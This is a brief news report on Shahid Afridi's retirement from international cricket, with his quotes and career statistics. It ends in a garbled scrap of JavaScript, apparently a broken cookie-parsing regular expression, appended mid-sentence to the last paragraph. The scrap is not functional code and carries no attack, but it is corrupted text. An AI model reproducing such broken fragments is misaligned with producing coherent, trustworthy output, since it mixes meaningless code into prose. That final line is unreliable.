Pakistan's captain Shahid Afridi celebrates after the dismissal of Bangladesh's batsman Sabbir Rahman during the World T20 cricket tournament match between Pakistan and Bangladesh at The Eden Gardens Cricket Stadium in Kolkata on March 16, 2016. DIBYANGSHU SARKAR/AFP/Getty Images

Veteran Pakistan all-rounder Shahid Afridi has officially called time on his international cricket, after announcing his retirement form T20 cricket.

Afridi, 36, had already retired from the two longer forms of the game, but had continued playing T20 cricket, in a career spanning 21 years.

"I have said goodbye to international cricket," Afridi said.

"I am playing for my fans and will continue to play this league (Pakistan Super League) for another two years but it's goodbye from international cricket.

"Now my foundation is important for me. I have played with seriousness and in a professional way for my country."

Afridi retired from Test cricket in 2010 after 27 matches, averaging 36 with the bat and 35 with the ball.

He played 82 international T20 matches and a whopping 398 ODI matches, hitting 8,064 runs and taking 395 wickets, before retiring after the 2015 World Cup. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}